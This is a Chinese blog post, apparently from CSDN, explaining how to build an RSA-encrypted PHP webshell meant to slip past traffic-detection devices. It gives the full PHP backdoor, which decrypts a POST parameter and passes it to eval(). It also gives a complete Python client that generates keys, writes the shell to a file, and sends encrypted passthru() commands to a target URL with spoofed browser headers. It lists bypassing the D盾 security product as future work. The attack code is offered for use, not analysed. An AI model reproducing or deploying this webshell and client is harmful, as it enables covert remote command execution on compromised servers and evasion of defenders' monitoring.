php rsa加密乱码_RSA在webshell中的使用

   本文将简单介绍RSA在webshell中的使用,旨在帮助小白们快速制作自己的流量混淆工具。

关于RSA

援引百度百科对RSA的介绍:

RSA是1977年由罗纳德·李维斯特(Ron Rivest)、阿迪·萨莫尔(Adi Shamir)和伦纳德·阿德曼(Leonard Adleman)一起提出的。当时他们三人都在麻省理工学院工作。RSA就是他们三人姓氏开头字母拼在一起组成的RSA公开密钥密码体制的原理是:根据数论,寻求两个大素数比较简单,而将它们的乘积进行因式分解却极其困难,因此可以将乘积公开作为加密密钥......

78bbf42c02d7077b9e49a9f8e5c68cc5.png

具体的原理什么的就不多说了,这也不是专门介绍密码学的文章。我们只需要知道它是一个强加密,有公私匙,可以过流量检测设备就行了。

过程实践

首先使用openssl来进行公私匙的生成:

openssl genrsa -out privkey.pem 2048openssl rsa -in privkey.pem -out publickey.pem -pubout

然后使用M2Crypto进行利用文件进行文本加密:

def pri_encrypt(msg, file_name):    rsa_pri = M2Crypto.RSA.load_key(file_name)    ctxt_pri = rsa_pri.private_encrypt(        msg.encode(), M2Crypto.RSA.pkcs1_padding)    ctxt64_pri = base64.b64encode(ctxt_pri)    return ctxt64_pri

比如对test进行加密:

30fcb9193a79be037d0cd8d0fcb38286.png

可以看到字符串已经成功的加密了。接下来就是PHP文件的处理了,一样使用openssl这个库,来操作,缺点就是需要依赖:

<?php class Rsa {    private static $PUBLIC_KEY= "MyPubKey";    private static function getPublicKey(){        $publicKey = self::$PUBLIC_KEY;        return openssl_pkey_get_public($publicKey);    }    public static function publicDecrypt($encrypted = ""){        if (!is_string($encrypted)) {            return null;        }        return (openssl_public_decrypt(base64_decode($encrypted), $decrypted, self::getPublicKey())) ? $decrypted : null;    }}$cmd=$_POST['MyPass'];$rsa = new Rsa();$publicDecrypt = $rsa->publicDecrypt($cmd);$res=eval($publicDecrypt);

这样我们的主要的文件就算写好了,下面就是编写一个简单的webshell管理工具了,代码如下(代码有点烂,能跑起来在说):

#!/usr/bin/python# coding: utf-8# Author: lengyi@HongHuSECimport sysimport argparseimport requestsimport base64import M2Cryptoimport osimport iosys.stdout = io.TextIOWrapper(sys.stdout.buffer,encoding='utf-8')def creatkey():    return os.system('openssl genrsa -out privkey.pem 2048\nopenssl rsa -in privkey.pem -out publickey.pem -pubout\n')def pri_encrypt(msg, file_name):    rsa_pri = M2Crypto.RSA.load_key(file_name)    ctxt_pri = rsa_pri.private_encrypt(msg.encode(), M2Crypto.RSA.pkcs1_padding)    ctxt64_pri = base64.b64encode(ctxt_pri)    return ctxt64_pridef get_args():    arser = argparse.ArgumentParser(prog="SimpleRSA webshell",                    formatter_class=lambda prog: argparse.HelpFormatter(prog,max_help_position=50),                    epilog= "Usage:\n1、python3 SimpleRSA_shell.py -c filename -p password \n2、python3 SimpleRSA_shell.py -u url -p password")    arser.add_argument("-c", "--create", nargs='?', help="Create a webshell(default password is pass)")    arser.add_argument("-p", "--password", nargs='?',default="pass",help="Set password && Link password",dest='password')    arser.add_argument("-u", "--url", nargs='?',help="Set Url")    args = arser.parse_args()    return argsdef createphpshell(shell,pwd, pubkey):    with open("demo.php","rb")as f:        shelltxt=f.read().decode()        shelltxt = shelltxt.replace("MyPass", pwd).replace(            'MyPubKey', pubkey.decode())        with open(shell, "w") as f1:            f1.write(shelltxt)        print(f"[+]php马存放在{shell},链接密码{pwd}")def main():    args = get_args()    if (len(sys.argv) == 1):        print(f"Usage: python3 {sys.argv[0]} -h")        exit()    elif (len(sys.argv) == 5 and args.create != None):        if (os.path.exists("publickey.pem") == False or os.path.exists("privkey.pem") == False):            print("[+]正在生成公私钥对...")            if (creatkey() == 0):                print("[+]生成成功")            else:                print("[-]失败,请检查权限问题")        pubkey_file = './publickey.pem'        with open(pubkey_file, 'rb') as f:            pubkey = f.read()        createphpshell(shell=args.create.strip(), pwd=args.password.strip(), pubkey=pubkey)    elif(len(sys.argv) == 5 and args.url.strip()!=None):        prikey_file = './privkey.pem'        payload = "passthru('123');"        while (True):            encryptshell = pri_encrypt(payload, prikey_file)            data = {                args.password.strip(): encryptshell            }            headers = {                "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3",                "Accept-Encoding": "gzip, deflate, br",                "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7",                "Connection": "keep-alive",                "Referer": "https://www.google.com.hk/",                "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36",            }            print(requests.post(args.url.strip(), data=data, headers=headers).text.strip())            payload = input(">")            if payload == "exit":                sys.exit()            else:                payload = f"passthru('{payload}');"    else:        exit()if __name__ == '__main__':    main()

demo效果:

f27437f184ed86dd98a045703cb4ddfa.png

可以创建马、与进行webshell的连接。

效果

使用工具执行命令,发现可以成功的接收返回的结果:

d84111589da4b158cf7c5dac05ec2653.png

流量如下:

085f0948e5bc5de4bf0b72ba37b0df38.png

TODO:

双向流量加密

命令执行bypassD盾

     ▼更多精彩推荐,请关注我们▼

faf121244aa91dedb1589dae641dbb36.png

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值